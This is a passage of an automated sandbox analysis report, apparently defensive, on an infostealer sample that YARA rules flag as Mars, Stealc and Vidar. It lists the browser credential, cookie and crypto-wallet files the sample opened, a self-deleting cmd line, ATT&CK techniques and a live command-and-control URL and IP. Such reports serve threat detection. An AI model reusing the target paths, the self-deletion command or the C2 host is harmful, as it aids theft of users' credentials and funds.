Source: QIEKNGVA.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: QIEKNGVA.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: QIEKNGVA.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: QIEKNGVA.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: m0wsoI3.exe, 00000000.00000002.1300238771.0000000000507000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000543000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: QIEKNGVA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: QIEKNGVA.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: QIEKNGVA.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: QIEKNGVA.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: m0wsoI3.exe, 00000000.00000002.1309437455.00000000100FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-1/
Source: QIEKNGVA.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: QIEKNGVA.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: QIEKNGVA.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: QIEKNGVA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: QIEKNGVA.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: QIEKNGVA.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: QIEKNGVA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: QIEKNGVA.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: QIEKNGVA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: QIEKNGVA.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\m0wsoI3.exe

API call chain: ExitProcess graph end node

graph_0-52836

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_004054F0 VirtualProtect ?,00000004,00000100,00000000

0_2_004054F0

Source: C:\Users\user\Desktop\m0wsoI3.exe

0_2_00409220

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0043C04C mov eax, dword ptr fs:[00000030h]	0_2_0043C04C
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00415E60 mov eax, dword ptr fs:[00000030h]	0_2_00415E60
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_0043C0B2 mov eax, dword ptr fs:[00000030h]	0_2_0043C0B2

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_00406040 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00406040

Source: C:\Users\user\Desktop\m0wsoI3.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\m0wsoI3.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5			Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,

0_2_0040CF60

Source: C:\Users\user\Desktop\m0wsoI3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_0040CE40 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_0040CE40

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_0040CE00 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_0040CE00

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_0040CEA0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_0040CEA0

Source: C:\Users\user\Desktop\m0wsoI3.exe

Code function: 0_2_004084E0 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

0_2_004084E0

Source: C:\Users\user\Desktop\m0wsoI3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: m0wsoI3.exe, type: SAMPLE
Source: Yara match	File source: 0.0.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1233026498.000000000043C000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1300112411.000000000043C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0wsoI3.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.000000000051D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\ElectronCash\wallets\s
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: m0wsoI3.exe, 00000000.00000002.1300238771.000000000051D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\\keystore*@
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.000000000051D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\\keystore*@
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: m0wsoI3.exe, 00000000.00000002.1300238771.000000000051D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\\keystore*@
Source: m0wsoI3.exe, 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\m0wsoI3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0wsoI3.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: m0wsoI3.exe, type: SAMPLE
Source: Yara match	File source: 0.0.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1233026498.000000000043C000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1300112411.000000000043C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1299941193.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1300238771.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0wsoI3.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6090C1D6 sqlite3_clear_bindings,	0_2_6090C1D6
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609254B1 sqlite3_bind_zeroblob,	0_2_609254B1
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6090F435 sqlite3_bind_parameter_index,	0_2_6090F435
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609255D4 sqlite3_bind_text16,	0_2_609255D4
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609255FF sqlite3_bind_text,	0_2_609255FF
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60925686 sqlite3_bind_int64,	0_2_60925686
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_609256E5 sqlite3_bind_int,	0_2_609256E5
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6092562A sqlite3_bind_blob,	0_2_6092562A
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60925655 sqlite3_bind_null,	0_2_60925655
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6092570B sqlite3_bind_double,	0_2_6092570B
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_60925778 sqlite3_bind_value,	0_2_60925778
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6090577D sqlite3_bind_parameter_name,	0_2_6090577D
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6090576B sqlite3_bind_parameter_count,	0_2_6090576B
Source: C:\Users\user\Desktop\m0wsoI3.exe	Code function: 0_2_6090EAE5 sqlite3_transfer_bindings,	0_2_6090EAE5

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	225 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
m0wsoI3.exe	82%	Virustotal		Browse
m0wsoI3.exe	83%	ReversingLabs	Win32.Ransomware.DopplePaymer
m0wsoI3.exe	100%	Avira	TR/Crypt.XPACK.Gen

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://ctrlgem.xyz/gate.php	100%	Avira URL Cloud	malware
http://www.mozilla.com0	0%	Avira URL Cloud	safe
ctrlgem.xyz/gate.php	100%	Avira URL Cloud	malware
http://ctrlgem.xyz/requestj	0%	Avira URL Cloud	safe
http://ctrlgem.xyz/requestb	0%	Avira URL Cloud	safe
http://ctrlgem.xyz/request	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ctrlgem.xyz	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
ctrlgem.xyz/gate.php	true	Avira URL Cloud: malware	unknown
http://ctrlgem.xyz/request	true	Avira URL Cloud: safe	unknown
http://ctrlgem.xyz/gate.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false		high
https://www.ecosia.org/newtab/v20	m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	false		high
https://duckduckgo.com/ac/?q=	ZUKFK6PZ.0.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	false		high
https://duckduckgo.com/chrome_newtabv20-	m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	false		high
http://www.mozilla.com0	m0wsoI3.exe, 00000000.00000002.1309437455.00000000100BE000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F65B000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1300238771.0000000000584000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1308783263.000000000F688000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://ctrlgem.xyz/requestj	m0wsoI3.exe, 00000000.00000002.1300238771.0000000000507000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ZUKFK6PZ.0.dr	false		high
https://ac.ecosia.org?q=	ZUKFK6PZ.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	m0wsoI3.exe, 00000000.00000003.1260169616.000000000059C000.00000004.00000020.00020000.00000000.sdmp, ZUKFK6PZ.0.dr	false		high
http://ctrlgem.xyz/requestb	m0wsoI3.exe, 00000000.00000002.1300238771.0000000000507000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ZUKFK6PZ.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	m0wsoI3.exe, 00000000.00000003.1276800018.000000000F417000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	ZUKFK6PZ.0.dr	false		high
https://support.mozilla.org/products/firefox	m0wsoI3.exe, 00000000.00000002.1310926889.000000001045F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	ctrlgem.xyz	European Union		13335	CLOUDFLARENETUS	true

General Information

